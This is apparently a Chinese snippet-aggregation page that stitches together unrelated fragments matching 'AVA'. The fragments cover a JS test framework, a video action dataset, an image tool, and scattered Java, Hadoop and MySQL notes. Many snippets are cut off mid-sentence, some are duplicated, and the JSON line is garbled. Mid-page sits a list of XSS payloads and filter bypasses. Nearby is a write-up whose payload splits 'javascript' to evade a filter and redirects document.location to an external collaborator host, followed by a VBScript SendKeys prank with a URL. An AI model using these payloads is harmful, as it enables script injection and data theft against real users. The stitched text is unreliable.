enum 的全称为 enumeration， 是 JDK 1.5 中引入的新特性，存放在 java.lang 包中。
Linux 内核有个机制叫OOM killer（Out-Of-Memory killer），该机制会监控那些占用内存过大，尤其是瞬间很快消耗大量内存的进程，为了...
IMWeb社区 未经同意，禁止转载 整个2016年前端圈还是一如既往的长江后浪推前浪，其中测试框架也不例外，mocha跟jasmine已经不是当前前端最火的测试框架了，而是一个面向未来的测试框架：AVA...看一个框架首先看这个框架介绍文档的第一句话，从中可以看出作者对这个这个框架的定位： 从AVA github 的 README 第一句看出，AVA自己定义跟其他测试框架的最大区别多线程，包括 同步跑测试...不同文件多线程同时跑 每个测试在单独的线程单独跑要求每个测试必须是单独的，不依赖外部变量的 另外，介绍文档中还给出了AVA的其他优势，其中有几点我觉得比较好： 快，AVA多线程的优势让AVA比其他测试框架快很多...，官方文档说一个Pageres从Mocha迁到AVA，测试耗时从31s 减少到 11s 配置简单，自带断言库，内置es2017语法编译 支持Promise, Generator, Async 语法
IMWeb社区 未经同意，禁止转载 整个2016年前端圈还是一如既往的长江后浪推前浪，其中测试框架也不例外，mocha跟jasmine已经不是当前前端最火的测试框架了，而是一个面向未来的测试框架：AVA...从AVA github 的 README 第一句看出，AVA自己定义跟其他测试框架的最大区别多线程，包括 同步跑测试 不同文件多线程同时跑 每个测试在单独的线程单独跑要求每个测试必须是单独的，不依赖外部变量的...另外，介绍文档中还给出了AVA的其他优势，其中有几点我觉得比较好： 快，AVA多线程的优势让AVA比其他测试框架快很多，官方文档说一个Pageres从Mocha迁到AVA，测试耗时从31s 减少到 11s
JSON代表Ĵ AVA 小号 CRIPT ö bject Ñ浮选。 JSON的语法：JSON被编写为键和值对。
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AVA AVA是一个工具和算法的集合，旨在从我们服务的视频中提取高质量的图像。平均一个电视节目（约10集）包含近900万个总帧数。...由AVA提供的备选图像 从源视频到编辑备选图像的高级阶段 帧注解 作为我们自动化流水线的一部分，我们在视频的每个帧中都处理和注释不同的变量，以便最好地得出帧的内容，并理解该帧对于故事是否重要。...我们在AVA中引入的一些视觉启发式变量为一个标题提供了不同的图像集，包括摄影机镜头类型（远景vs中景）、视觉相似性（三分法则，亮度，对比度）、颜色（最突出的颜色）和显著图（识别负面空间和复杂度）。...AVA的镜头检测分集的例子; （左）中景，（中心）特写，（右）极端特写。 成人图像过滤器 考虑到内容敏感度和受众成熟度等原因，我们还需要确保排除了包含有害或令人反感元素的帧。...AVA是一个工具和算法的集合，它结合电影制作和照片编辑的核心原则，封装了计算机视觉的关键交叉点。
到你的下载的hadoop所在版本的lib包中引入jackson-core-asl-1.8.8.jar 和 jackson-mapper-asl-1.8...
作者：肖磊 个人主页：github 最近将内部测试框架的底层库从mocha迁移到了AVA，迁移的原因之一是因为AVA提供了更好的流程控制。...就是： const ava = require('ava') ava.serial('A', async () => { // do something }) ava.serial('B',...async () => { // do something }) ava('C', async () => { // do something }) ava('D', async ()...在你定义case的时候： ava.serial('A', async () => { // do something }) ava.serial('B', async () => { /...以上就是通过一个简单的例子介绍了AVA内部的流程控制模型。简单的总结下： 在AVA内部使用Promise来进行整个的流程控制(这里指的异步的case)。
AVA 谈到测试覆盖率必须先有单元测试，本文使用 ava 作为示例， ava 是一个 js 测试库，强烈推荐你使用它。...1、安装 npm init ava 2、使用示例 编写 test.js 文件： import test from 'ava' import Memcached from '.....error) { t.fail(error.message); } }); test('unit test title', t => { t.pass(); }); 说明： ava...npm install --save-dev nyc 修改 package.json 文件: { "scripts": { "test": "nyc ava" } } 获取测试覆盖率时会生成相关的文件...gitignore 中忽略它们即可: .nyc_output coverage* 当我们再执行 npm test 时，其就会执行单元测试，并且获取测试覆盖率，结果类似于: $ npm test > nyc ava
Set Seven = Ws cript.CreateObject(“Ws cript.Shell”) strDesktop = Seven.SpecialFolders(“AllUsersDesktop...500 seven.SendKeys ” I “ Ws cript.Sleep 500 seven.SendKeys “L” Ws cript.Sleep 500... seven.SendKeys “o” Ws cript.Sleep 500 seven.SendKeys “v” Ws cript.Sleep 500 seven.SendKeys...“e “ Ws cript.Sleep 500 seven.SendKeys “Y” Ws cript.Sleep 500 seven.SendKeys “o” ...Ws cript.Sleep 500 seven.SendKeys “u Too” End Sub se_key =http://zzdxjyzd.com/ (MsgBox(“你是我弟弟
请参考来自 Jean-philippe Bempel 的评论。他提到了一个真实因 JVM 优化导致死锁的例子。我尽可能多地写博客的原因之一是一旦自己理解错了，可...
=javascript:alert(/xss/)> 7 ">alert(/xss/) 8 html 字符实体编码转换 javascript...:alert(1) 9 javascript:alert(1)/*http://*/ 10 &t_sort=a" onclick="alert(1)" 15 urlencode %0a%
在 AVA 动作检测数据集上，同样实现了 28.3 mAP 的最佳水准。...图中该样本来自 AVA 数据集。...AVA 数据集的动作检测 对于视频动作检测，作者采用 AVA 数据集，其中包含有 211k 个训练数据和 57k 个验证数据，共涵盖 60 种动作类别。...实验结果得到 60 个类别的平均精度 mAP 值，SlowFast 网络与 AVA 数据集上当前最佳模型之间的性能对比，以及 AVA 数据集动作检测结果的可视化过程，详细结果如下图 6，图 7，图 8...图7 AVA 数据集上最佳模型与 SlowFast 网络的性能对比。其中，++ 表示在测试过程引入了诸如水平翻转的图像增强操作。 图8 可视化 AVA 数据集的动作检测结果。
但是当我将 javascript word 分解为 javas cript 应用程序时，它接受了这个payload。 现在，当用户单击预订消息中提供的链接时，此payload将被执行。我非常兴奋。...XSS 但是当我将payload更新为 <a href=”javas cript:...portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-csp-bypass <a href=”javas cript...所以我启动了 burp collaborator 并将payload更新为 <a href=”javas cript:document.location=’http://l4q4dgmomxzkw6i13q5essmojfp6hu6
记录一个Mysql连接Bug tomcat启动后报错,发现是mysql连接写的不对 "jdbc:mysql:///localhost:3306/moon...
你可以点击 https://research.google.com/ava/ 查看 AVA 数据集并下载标注。论文地址：https://arxiv.org/abs/1705.08421。...我们对执行动作的所有人进行了全部标注，因此 AVA 的标签频率遵循长尾分布，如下图所示。 ? AVA 的原子动作标签分布。x 轴所示标签只是词汇表的一部分。...下图显示 AVA 中共现频率最高的动作对及其共现得分。我们确定的期望模式有：人们边唱歌边弹奏乐器、拥吻等。 ? AVA 中共现频率最高的动作对。...我们将持续扩展和改进 AVA，并且很乐意获取社区反馈以帮助我们校正未来方向。加入 AVA 用户邮件列表（https://groups.google.com/forum/#!...forum/ava-dataset-users）即可获取 AVA 数据集更新。 ?
在 AVA 动作检测数据集上，同样实现了 28.3 mAP 的最佳水准。...图中该样本来自 AVA 数据集。...▌AVA 数据集的动作检测 对于视频动作检测，作者采用 AVA 数据集，其中包含有 211k 个训练数据和 57k 个验证数据，共涵盖 60 种动作类别。...实验结果得到 60 个类别的平均精度 mAP 值，SlowFast 网络与 AVA 数据集上当前最佳模型之间的性能对比，以及 AVA 数据集动作检测结果的可视化过程，详细结果如下图 6，图 7，图 8...图7 AVA 数据集上最佳模型与 SlowFast 网络的性能对比。其中，++ 表示在测试过程引入了诸如水平翻转的图像增强操作。 图8 可视化 AVA 数据集的动作检测结果。
今天在使用DataGrip连接hive数据库浏览数据的时候，发现hive数据库中与hbase映射的hive数据表查询不了了，双击数据表加载半天出...
AVA网站截图 与其他动作标签数据集相比，AVA具有以下主要特点： 基于人的标签：每个动作标签都与人相关联，而不是与整段视频或剪辑关联。...AVA的原子动作标签频次分布图（x 轴所示标签只是词汇表的一部分） 由于AVA的独特设计，我们可以从中能够得出一些有趣的统计信息，而这些信息从其他现有数据集中是统计不出来的。...AVA中统计得出共现频率分值最高的动作对 为了评估AVA数据集在人类行为识别系统中的有效性，谷歌设计了一个现有的基线深度学习模型，该模型在较小的JHMDB数据集上获得了很好的绩效。...由于视频变焦、背景杂乱、摄影角度和外貌变化等问题，该模型实现了较为不错的表现，正确识别AVA中动作的平均准确率达到18.4％，这表明AVA数据集可用于开发和评估新的动作识别架构和算法。...谷歌将继续扩充和改进AVA，并渴望听取来自社区的反馈，帮助校正AVA数据集未来的发展方向。请加入AVA Mail List（https://groups.google.com/forum/#!
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